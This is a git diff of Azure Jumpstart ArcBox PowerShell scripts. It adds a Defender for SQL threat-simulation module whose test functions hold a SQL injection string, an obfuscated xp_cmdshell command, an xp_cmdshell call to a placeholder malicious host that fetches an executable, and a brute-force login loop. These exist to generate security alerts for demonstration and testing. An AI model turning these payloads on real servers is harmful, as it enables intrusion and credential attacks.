$httpResp = Invoke-WebRequest -Method Patch -Uri $armRestApiEndpoint -Body $apiPayload -Headers $headers + if (($httpResp.StatusCode -eq 200) -or ($httpResp.StatusCode -eq 202)){ + Write-Host "Arc-enabled SQL server best practices assessment executed. Wait for assessment to complete to view results." } else { <# Action when all if and elseif conditions are false #> - Write-Host "Enabling SQL server best practices assessment" - $bpaDeploymentTemplateUrl = "$Env:templateBaseUrl/artifacts/sqlbpa.json" - az deployment group create --resource-group $resourceGroup --template-uri $bpaDeploymentTemplateUrl --parameters workspaceName=$Env:workspaceName vmName=$SQLvmName arcSubscriptionId=$subscriptionId + Write-Host "SQL Best Practices Assessment faild. Please refer troubleshooting guide to run manually." + } + } # End of SQL BPA - # Run Best practices assessment - Write-Host "Execute SQL server best practices assessment" + #Install SQLAdvancedThreatProtection solution + az monitor log-analytics solution create --resource-group $resourceGroup --solution-type SQLAdvancedThreatProtection --workspace $Env:workspaceName --only-show-errors - # Wait for a minute to finish everyting and run assessment - Start-Sleep(60) + #Install SQLVulnerabilityAssessment solution + az monitor log-analytics solution create --resource-group $resourceGroup --solution-type SQLVulnerabilityAssessment --workspace $Env:workspaceName --only-show-errors - # Get access token to make ARM REST API call for SQL server BPA - $armRestApiEndpoint = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer?api-version=2019-08-02-preview" - $token = (az account get-access-token --subscription $subscriptionId --query accessToken --output tsv) - $headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json" } - - # Build API request payload - $worspaceResourceId = "/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$Env:workspaceName".ToLower() - $sqlExtensionId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer" - $sqlbpaPayloadTemplate = "$Env:templateBaseUrl/artifacts/sqlbpa.payload.json" - $settingsSaveTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() - $apiPayload = (Invoke-WebRequest -Uri $sqlbpaPayloadTemplate).Content -replace '{{RESOURCEID}}', $sqlExtensionId -replace '{{LOCATION}}', $azureLocation -replace '{{WORKSPACEID}}', $worspaceResourceId -replace '{{SAVETIME}}', $settingsSaveTime - - # Call REST API to run best practices assessment - $httpResp = Invoke-WebRequest -Method Patch -Uri $armRestApiEndpoint -Body $apiPayload -Headers $headers - if (($httpResp.StatusCode -eq 200) -or ($httpResp.StatusCode -eq 202)){ - Write-Host "Arc-enabled SQL server best practices assessment executed. Wait for assessment to complete to view results." - } - else { - <# Action when all if and elseif conditions are false #> - Write-Host "SQL Best Practices Assessment faild. Please refer troubleshooting guide to run manually." - } - } - } # End of SQL BPA + # Update Azure Monitor data collection rule template with Log Analytics workspace resource ID + $sqlDefenderDcrFile = "$Env:ArcBoxDir\defendersqldcrtemplate.json" + (Get-Content -Path $sqlDefenderDcrFile) -replace '{LOGANLYTICS_WORKSPACEID}', $workspaceResourceID | Set-Content -Path $sqlDefenderDcrFile + + # Create data collection rules for Defender for SQL + Write-Host "Creating Azure Monitor data collection rule" + $dcrName = "Jumpstart-DefenderForSQL-DCR" + az monitor data-collection rule create --resource-group $resourceGroup --location $env:azureLocation --name $dcrName --rule-file $sqlDefenderDcrFile + + # Associate DCR with Azure Arc-enabled Server resource + Write-Host "Creating Azure Monitor data collection rule assocation for Arc-enabled server" + $dcrRuleId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.Insights/dataCollectionRules/$dcrName" + az monitor data-collection rule association create --name "$SQLvmName" --rule-id $dcrRuleId --resource $azConnectedMachineId # Test Defender for SQL Write-Header "Simulating SQL threats to generate alerts from Defender for Cloud" - $remoteScriptFileFile = "$agentScript\testDefenderForSQL.ps1" + $remoteScriptFileFile = "$Env:ArcBoxDir\testDefenderForSQL.ps1" + Copy-VMFile $SQLvmName -SourcePath "$Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1" -DestinationPath "$Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1" -CreateFullPath -FileSource Host -Force Copy-VMFile $SQLvmName -SourcePath "$Env:ArcBoxDir\testDefenderForSQL.ps1" -DestinationPath $remoteScriptFileFile -CreateFullPath -FileSource Host -Force Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:remoteScriptFileFile } -Credential $winCreds - if (($Env:flavor -eq "Full") -or ($Env:flavor -eq "ITPro")) { + if ($Env:flavor -eq "ITPro") { Write-Header "Fetching Nested VMs" $Win2k19vmName = "ArcBox-Win2K19" diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 90266d939a..e83360f168 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -208,13 +208,9 @@ elseif ($flavor -eq "DataOps") { Write-Host "Fetching Workbook Template Artifact for DataOps" Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbookDataOps.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.json } -else { - Write-Host "Fetching Workbook Template Artifact for Full" - Invoke-WebRequest ($templateBaseUrl + "artifacts/mgmtMonitorWorkbookFull.json") -OutFile $Env:ArcBoxDir\mgmtMonitorWorkbook.json -} # ITPro -if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { +if ($flavor -eq "ITPro") { Write-Host "Fetching Artifacts for ITPro Flavor" Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcServersLogonScript.ps1") -OutFile $Env:ArcBoxDir\ArcServersLogonScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgent.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgent.ps1 @@ -223,6 +219,8 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { Invoke-WebRequest ($templateBaseUrl + "artifacts/icons/arcsql.ico") -OutFile $Env:ArcBoxIconDir\arcsql.ico Invoke-WebRequest ($templateBaseUrl + "artifacts/ArcSQLManualOnboarding.ps1") -OutFile $Env:ArcBoxDir\ArcSQLManualOnboarding.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLUser.ps1") -OutFile $Env:ArcBoxDir\installArcAgentSQLUser.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/SqlAdvancedThreatProtectionShell.psm1") -OutFile $Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/defendersqldcrtemplate.json") -OutFile $Env:ArcBoxDir\defendersqldcrtemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/itpro.tests.ps1") -OutFile $Env:ArcBoxTestsDir\itpro.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/itpro.dsc.yml") -OutFile $Env:ArcBoxDscDir\itpro.dsc.yml @@ -269,29 +267,14 @@ if ($flavor -eq "DataOps") { Invoke-WebRequest ($templateBaseUrl + "artifacts/DataOpsTestAppScript.ps1") -OutFile $Env:ArcBoxDataOpsDir\DataOpsTestAppScript.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgent.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgent.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/installArcAgentSQLSP.ps1") -OutFile $Env:ArcBoxDir\agentScript\installArcAgentSQLSP.ps1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/SqlAdvancedThreatProtectionShell.psm1") -OutFile $Env:ArcBoxDir\SqlAdvancedThreatProtectionShell.psm1 + Invoke-WebRequest ($templateBaseUrl + "artifacts/defendersqldcrtemplate.json") -OutFile $Env:ArcBoxDir\defendersqldcrtemplate.json Invoke-WebRequest ($templateBaseUrl + "artifacts/testDefenderForSQL.ps1") -OutFile $Env:ArcBoxDir\testDefenderForSQL.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/tests/dataops.tests.ps1") -OutFile $Env:ArcBoxTestsDir\dataops.tests.ps1 Invoke-WebRequest ($templateBaseUrl + "artifacts/dsc/dataops.dsc.yml") -OutFile $Env:ArcBoxDscDir\dataops.dsc.yml Invoke-WebRequest ($templateBaseUrl + "artifacts/longhorn.yaml") -OutFile $Env:ArcBoxDir\longhorn.yaml } -# Full -if ($flavor -eq "Full") { - Write-Host "Fetching Artifacts for Full Flavor" - Invoke-WebRequest ($templateBaseUrl + "artifacts/settingsTemplate.json") -OutFile $Env:ArcBoxDir\settingsTemplate.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/DataServicesLogonScript.ps1") -OutFile $Env:ArcBoxDir\DataServicesLogonScript.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/DeployPostgreSQL.ps1") -OutFile $Env:ArcBoxDir\DeployPostgreSQL.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/DeploySQLMI.ps1") -OutFile $Env:ArcBoxDir\DeploySQLMI.ps1 - Invoke-WebRequest ($templateBaseUrl + "artifacts/dataController.json") -OutFile $Env:ArcBoxDir\dataController.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/dataController.parameters.json") -OutFile $Env:ArcBoxDir\dataController.parameters.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/postgreSQL.json") -OutFile $Env:ArcBoxDir\postgreSQL.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/postgreSQL.parameters.json") -OutFile $Env:ArcBoxDir\postgreSQL.parameters.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/sqlmi.json") -OutFile $Env:ArcBoxDir\sqlmi.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/sqlmi.parameters.json") -OutFile $Env:ArcBoxDir\sqlmi.parameters.json - Invoke-WebRequest ($templateBaseUrl + "artifacts/SQLMIEndpoints.ps1") -OutFile $Env:ArcBoxDir\SQLMIEndpoints.ps1 - Invoke-WebRequest "https://github.com/ErikEJ/SqlQueryStress/releases/download/102/SqlQueryStressNet6.zip" -OutFile $Env:ArcBoxDir\SqlQueryStress.zip -} - New-Item -path alias:azdata -value 'C:\Program Files (x86)\Microsoft SDKs\Azdata\CLI\wbin\azdata.cmd' # Disable Microsoft Edge sidebar @@ -348,7 +331,7 @@ Write-Header "Configuring Logon Scripts" $ScheduledTaskExecutable = "pwsh.exe" -if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { +if ($flavor -eq "ITPro") { # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 @@ -359,17 +342,6 @@ if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { } -if ($flavor -eq "Full") { - # Creating scheduled task for WinGet.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 - Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force - # Creating scheduled task for DataServicesLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 - Register-ScheduledTask -TaskName "DataServicesLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force - -} - if ($flavor -eq "DevOps") { # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn diff --git a/azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 b/azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 new file mode 100644 index 0000000000..e16f2d890d --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 @@ -0,0 +1,1155 @@ +#Requires -Version 5 +Function LogInfo([string]$message) +{ + Write-Host ("[Info ] $message" -Replace "`n\s*","`n ") +} + +Function LogOk([string]$message) +{ + Write-Host ("[Ok ] $message" -Replace "`n\s*","`n ") -ForegroundColor Green +} + +Function LogWarning([string]$warningMsg) +{ + Write-Host ("[Warning ] $warningMsg" -Replace "`n\s*","`n ") -ForegroundColor Yellow +} + +Function LogError([string]$errorMsg) +{ + Write-Host ("[Error ] $errorMsg" -Replace "`n\s*","`n ") -ForegroundColor Red +} + +Function Get-SqlInstances([bool]$isRunningOnly) +{ + if ($isRunningOnly) + { + $runningCondition = "AND State = 'Running'" + } + else + { + $runningCondition = "" + } + + $sqlInstances = Get-CimInstance -Query "SELECT Name, DisplayName, StartName, ProcessId, SystemName, PathName FROM Win32_Service WHERE (Name = 'MSSQLSERVER' OR Name LIKE 'MSSQL$%') AND DisplayName LIKE 'SQL Server (%' $($runningCondition)" + return $sqlInstances | Select-Object -Property Name, DisplayName ,ProcessId, @{l="Version"; e={ForEach-Object {if ($_.PathName -match "MSSQL(\d\d)\..*\\MSSQL") { [int]$Matches[1]}}}}, @{l="InstanceName"; e={ForEach-Object{ $splitted = $_.Name -Split "\$"; if ($splitted.Count -eq 1) { if($splitted[0] -match "MSSQLSERVER") {$null} else {$splitted[0]} } else { "$($Env:COMPUTERNAME)\$($splitted[1])" }}}} +} + +Function Test-Key([string]$path, [string]$key) +{ + if (!(Test-Path $path)) { return $false } + if ($null -eq (Get-ItemProperty $path).$key) { return $false } + return $true +} + +Function Test-OMSAgentInstalled +{ + LogInfo "Checking if OMS Agent is installed..." + if ((Test-Key "HKLM:\SOFTWARE\Microsoft\System Center Operations Manager\12\Setup\Agent" "InstallDirectory")) + { + $agentVersion = ((Get-Item $Env:ProgramFiles"\Microsoft Monitoring Agent\Agent\HealthService.exe").VersionInfo) + if ($agentVersion.FileVersion -lt $minimumAgentVersion) + { + LogWarning "OMS Agent version is: $($agentVersion.FileVersion). Minimum recommended version is $($minimumAgentVersion)" + return + } + + LogOk "OMS Agent is installed." + } + else + { + LogError "OMS Agent is not installed on the machine." + } +} + +Function Test-OmsAgentRunning +{ + $healthService = Get-Service -Name "HealthService" + if($healthService.Status -ne "Running") + { + LogError "OMS agent (HealthService) is not running (Status: $($healthService.Status)). + Start the service with the powershell command: Start-Service -Name 'healthservice'" + } + + LogOk "OMS agent (HealthService) status: $($healthService.Status)" +} + +Function Test-SqlRestartMessageExist($instanceName) +{ + LogInfo "Checking for restart message for instance '$instanceName'." + $restartInstanceLog = Get-WinEvent -LogName 'Operations Manager' | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.LevelDisplayName -eq "Error" } | Where-Object { $_.EventID -eq 4502 } | Where-Object { $_.Message.Contains($instanceName) } + if ($null -ne $restartInstanceLog -and $restartInstanceLog.Length -ne 0) + { + # Test if there was a restart of the instance since the restart request + $lastRestartLogEvent = $restartInstanceLog | Sort-Object -Property TimeGenerated -Descending | Select-Object -First 1 + if((Test-SqlServerReadyForClientConnections $instanceName $lastRestartLogEvent.TimeGenerated) -eq $false) + { + LogError "Restart request message for instance '$instanceName' exists. + Restart the service with the powershell command: Restart-Service -Name '$instanceName'" + $lastRestartLogEvent + return $false + } + } + + LogOk "Server instance $instanceName - No restart needed." + return $true +} + +Function Test-SqlServerReadyForClientConnections($instanceName, $timeToStartSearch) +{ + LogInfo "Checking for SQL Server restart since $timeToStartSearch" # message for instance '$instanceName'." + $readyForConnectionLog = Get-WinEvent -LogName 'Application' | Where-Object { $_.TimeCreated -ge $timeToStartSearch } | Where-Object { $_.ProviderName -eq $instanceName } | Where-Object { $_.EventID -eq 17126 } | Where-Object { $_.Message.Contains('SQL Server is now ready for client connections') } + if ($readyForConnectionLog.Length -eq 0) + { + return $false + } + + $lastRestart = $readyForConnectionLog | Sort-Object -Property TimeGenerated -Descending | Select-Object -First 1 + LogInfo "Server instance '$instanceName' was restarted at $($lastRestart.TimeGenerated)" + return $true +} + +Function Test-OmsAgentRestartedLately +{ + LogInfo "Checking if OMS agent is initialized since $($timeWindowToCheckLogs)." + $restartInstanceLog = Get-WinEvent -LogName 'Operations Manager' | Where-Object { $_.LevelDisplayName -eq "Information" } | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.EventID -eq 10113 } | Where-Object { $_.Message.Contains('Taking a New Global Snapshot.') } + if ($restartInstanceLog.Length -ne 0) + { + $logEntry = $restartInstanceLog | Sort-Object -Property TimeGenerated | Select-Object -First 1 + LogInfo "OMS agent was last initialized at $($logEntry[0].TimeGenerated)." + return + } + + LogOk "OMS agent initialization ok." +} + +Function LogErrorLoginWithSolutionInstallRequest($serverInstanceName, $displayName, $solutionName) +{ + LogError "Did not find a successfull login/run for $displayName from SQL ATP. + Make sure this machine is connected to a workspace which contains the solution '$solutionName' + To add the solution to the workspace add 'Sql Advanced Data Security' from the marketplace + If this machine is newlly created, newly connected to a workspace or '$solutionName' solution was recently added to the workspace: + Please wait 30 minutes and run the script again." +} + +Function Test-SqlAdvancedThreatProtectionLoginSuccess($serverInstanceName, $displayName, $isValidateByAppName) +{ + $appName = "SQL Advanced Threat Protection" + if ($isValidateByAppName) + { + $appNameCheck = ".*^application_name:$($appName)$" + $serverPrincipalCheck = "" + } + else + { + $appNameCheck = "" + $serverPrincipalCheck = "^server_principal_name:NT AUTHORITY\\SYSTEM$.*" + } + + $solutionName = "SQLAdvancedThreatProtection" + LogInfo "Checking logs for successfull '$appName' login for InstanceName: $displayName" + $logEntries = Get-WinEvent -LogName 'Security' | Where-Object { $_.TimeCreated -ge $timeWindowToCheckLogs } | Where-Object { $_.EventID -eq 33205 }` + | Where-Object { $_.Source -match 'MSSQL' }` + | Where-Object { $_.EntryType -eq [System.Diagnostics.EventLogEntryType]::SuccessAudit }` + | Where-Object { $_.Message -match "(?smi)$($serverPrincipalCheck)^server_instance_name:$($serverInstanceName.Replace('\', '\\'))$" + $appNameCheck }` + | Sort-Object -Property TimeGenerated -Descending + if($logEntries.Length -eq 0) + { + LogErrorLoginWithSolutionInstallRequest $serverInstanceName $displayName $solutionName + return $false + } + + $lastLoginTime = $logEntries | Select-Object -First 1 + LogOk "$appName successfully logged in to $displayName at $($lastLoginTime.TimeGenerated)" + return $true +} + +Function Test-SqlAdvancedDataSecuritySolutionsOk($instanceName, $isValidateByAppName) +{ + $serverInstanceName = $instanceName + $displayName = $instanceName + if ([string]::IsNullOrWhiteSpace($instanceName)) + { + $serverInstanceName = $Env:COMPUTERNAME + $displayName = "MSSQLSERVER (default)" + } + + LogInfo "Checking logs for 'SQL Advanced Data Security' status for InstanceName: $displayName" + $sqlAtpOk = Test-SqlAdvancedThreatProtectionLoginSuccess $serverInstanceName $displayName $isValidateByAppName + + return $sqlAtpOk +} + +Function Test-SqlInstancesThreatDetectionStatus +{ + $sqlInstances = Get-SqlInstances $true + $res = $true + foreach ($sqlInstance in $sqlInstances) + { + LogInfo "Testing Sql Server - Service Name: $($sqlInstance.Name), Display Name: $($sqlInstance.DisplayName), Instance Name: $($sqlInstance.InstanceName), Version: $($sqlInstance.Version)" + if ($sqlInstance.Version -ge 15) + { + LogOk "SQL Server ($($sqlInstance.Version)) does not require restart for SQL ATP" + continue + } + + $res = (Test-SqlRestartMessageExist $sqlInstance.Name) -and $res + $isByAppName = $sqlInstance.Version -eq 14 + $res = (Test-SqlAdvancedDataSecuritySolutionsOk $sqlInstance.InstanceName $isByAppName) -and $res + } + + return $res +} + +Function Get-SqlAtpManagementPackVersion +{ + <# + .SYNOPSIS + Gets the management pack version available on the machine. + #> + + $managementPacksPath = Get-MonitoringAgentManagementPacksPath + if (-not $managementPacksPath){ + return + } + $sqlQueryProtectionMPFile = Get-ChildItem $managementPacksPath | Where-Object {$_.Name -match 'Microsoft.IntelligencePacks.SqlQueryProtection'} + $sqlQueryProtectionMPXmlContent = [xml](Get-Content $sqlQueryProtectionMPFile.FullName -Encoding Unicode) + $sqlQueryProtectionMPXmlContent.ManagementPack.Manifest.Identity.Version +} + +Function Get-MonitoringAgentManagementPacksPath +{ + <# + .SYNOPSIS + Gets the Microsoft Monitoring Agent Management packs Folder Path. + #> + $healthServiceStatePath = Split-Path (Split-Path $PSScriptRoot -Parent) -Parent + if ((Split-Path $healthServiceStatePath -Leaf) -ne 'Health Service State'){ + LogError "Module SqlAdvancedThreatProtectionShell.psm1 needs to be imported from its home directory." + return $false + } + return $healthServiceStatePath + "\Management Packs" +} + +Function Get-SqlAtpMonitoringAgentAndWorkspaceId +{ + <# + .SYNOPSIS + Gets the Microsoft Monitoring Agent workspace and agent IDs. + #> + $monitoringAgentComObject = New-Object -ComObject 'AgentConfigManager.mgmtsvccfg' + $cloudWorkspaces = $monitoringAgentComObject.GetCloudWorkspaces() + + if ($cloudWorkspaces -eq $null) + { + LogError "To run this command, please use elevated prompt." + return; + } + + $workspaceIdPSObjectProperties = ($cloudWorkspaces | Select-Object -Property workspaceId).PSObject.Properties + $agentIdPSObjectProperties = ($cloudWorkspaces | Select-Object -Property AgentId).PSObject.Properties + + LogInfo "$($workspaceIdPSObjectProperties.Name): $($workspaceIdPSObjectProperties.Value)" + LogInfo "$($agentIdPSObjectProperties.Name): $($agentIdPSObjectProperties.Value)" +} + +Function Get-SqlAtpServerInstancesVersions +{ + <# + .SYNOPSIS + Gets the Microsoft Sql Server instances versions that are installed on the machine. + #> + + $installedInstances = Get-SqlInstances $false + foreach ($sqlInstance in $installedInstances) + { + LogInfo "Instance: $($sqlInstance.Name), $($sqlInstance.Version)" + } +} + +Function Start-SqlAtpEtwTracing +{ + <# + .SYNOPSIS + Starts ETW tracing on the machine. + #> + $EtwTracing = & 'logman' -ets | Where-Object { $_ -match 'TracingGuidsManaged' } + if ($null -ne $EtwTracing){ + & 'logman' update trace TracingGuidsManaged -ets -p '{36cd7b6e-631a-42e1-a3c0-d436ac41bc61}' 0 0x4 | Out-Null + } + else { + $AgentPath = Split-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) -Parent + & $AgentPath"\Tools\StartTracing.cmd" INF | Out-Null + } + LogOk "Logs have started collecting at: %WINDIR%\Logs\OpsMgrTrace\TracingGuidsManaged.etl" +} + +Function Stop-SqlAtpEtwTracing +{ + <# + .SYNOPSIS + Stops ETW tracing on the machine. + #> + $AgentPath = Split-Path (Split-Path (Split-Path $PSScriptRoot -Parent) -Parent) -Parent + & $AgentPath"\Tools\StopTracing.cmd" | Out-Null + + $EtwTracing = & 'logman' -ets | Where-Object { $_ -match 'TracingGuidsManaged' } + if ($null -eq $EtwTracing){ + LogOk "Traces have stopped collecting." -ForegroundColor + } + else { + LogError "Traces have not been stopped, try rerunning the command." + } +} + +Function Test-SqlAtpInjection( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$true)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates an SQL injection. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + $remark = New-Guid + $connectionString = "Server = $server;application name=SqliTestApp"; + $Password.MakeReadOnly(); + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "SELECT * FROM sys.databases WHERE database_id like '1' OR 1=1 -- $($remark)'", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + } + finally + { + $sqlConnection.Dispose(); + } + + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "select * from sys.databases where database_id like 'l%' --$($remark)123", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + } + finally + { + $sqlConnection.Dispose(); + } + + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "select * from sys.databases where database_id like ''' --$($remark)123", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + } + catch + { + if ($_.Exception.InnerException.Number -eq 105) + { + LogOk "Successfully tested sql injection on $server" + } + else + { + LogError "Failed to test sql injection. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } + +} + +Function Test-SqlAtpShellObfuscation( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$true)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a shell command (xp_cmdshell) obfuscation. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $remark = New-Guid + $connectionString = "Server = $server;application name=ShellObfuscationTestApp"; + $Password.MakeReadOnly(); + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "DECLARE @cmd as varchar(3000);SET @cmd = 'x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+' ' + 'd'+'i'+'r';exec(@cmd); -- $($remark)", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + LogOk "Successfully simulated shell obfuscation on $server" + } + catch + { + if ($_.Exception.InnerException.Number -eq 15281) + { + LogOk "Successfully simulated shell obfuscation on $server that was disabled on the server" + } + else + { + LogError "Failed to simulate shell obfuscation. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } +} + +Function Test-SqlAtpShellExternalSourceAnomaly( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$true)] + [string]$UserName, + [Parameter(Mandatory=$true)] + [securestring]$Password ) +{ + <# + .SYNOPSIS + Simulates a shell external source anomaly by trying to reach an external source using a shell command. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $remark = New-Guid + $connectionString = "Server = $server;application name=ShellExternalSourceTestApp"; + $Password.MakeReadOnly(); + try + { + $sqlConnection = New-Object System.Data.SqlClient.SqlConnection $connectionString; + $sqlCredential = New-Object System.Data.SqlClient.SqlCredential $UserName, $Password; + $sqlConnection.Credential = $sqlCredential; + $sqlCommand = New-Object System.Data.SqlClient.SqlCommand "EXEC xp_cmdshell 'hTtP://malicious.external.$($remark).source:443/executable.exe'", $sqlConnection; + $sqlConnection.Open(); + $sqlCommand.ExecuteReader() | Out-Null; + LogOk "Successfully simulated shell external source anomaly on $server" + } + catch + { + if ($_.Exception.InnerException.Number -eq 15281) + { + LogOk "Successfully simulated shell external source anomaly on $server that was disabled on the server" + } + else + { + LogError "Failed to simulate shell external source. Error $($_.Exception.InnerException.Number)" + } + } + finally + { + $sqlConnection.Dispose(); + } +} + +Function Test-SqlAtpBruteForce( + [Parameter(Mandatory=$false)] + [string]$InstanceName, + [Parameter(Mandatory=$false)] + [string]$Port, + [Parameter(Mandatory=$false)] + [string]$UserName, + [Parameter(Mandatory=$false)] + [int]$AttemptCount=100, + [Parameter(Mandatory=$false)] + [securestring]$Password) +{ + <# + .SYNOPSIS + Simulates a brute-force attack. + .Parameter InstanceName + Provide the non default instance to connect to. + .Parameter Port + Provide a non default port to connect to. + .Parameter UserName + Supply a username to iterate different passwords. If not supplied, iterate different users. + .Parameter Password + Supply a password to finish with a successful breach. + #> + + $server = $env:COMPUTERNAME + + if (![String]::IsNullOrEmpty($InstanceName)) + { + $server += "\$InstanceName" + } + + if (![String]::IsNullOrEmpty($Port)) + { + $server += ",$Port" + } + + $applicationName = "brute_force_42146f8735244eccab8c6739ec399821" + + if ([String]::IsNullOrEmpty($UserName)) + { + for ($i = 0; $i -lt $AttemptCount; $i++) + { + LogInfo "Failed Login on different users to $server" + try + { + $SqlConnection = New-Object System.Data.SqlClient.SqlConnection "Server = $server; User ID=user$i; Password=''; Connect Timeout=5; application name=$applicationName" + $SqlConnection.Open(); + } + catch + { + if ($_.Exception.InnerException.Number -eq 18456) + { + LogInfo "Login $i failed, retrying.." + continue + } + else + { + LogError "Failed to test bruteforce. Error $($_.Exception.InnerException.Number)" + return + } + } + } + } + else + { + LogInfo "attempting to brute-force on password to $server" + for ($i = 0; $i -lt $AttemptCount; $i++) + { + LogInfo "Failed Login on different passwords: Attempt $i" + try + { + $SqlConnection = New-Object System.Data.SqlClient.SqlConnection 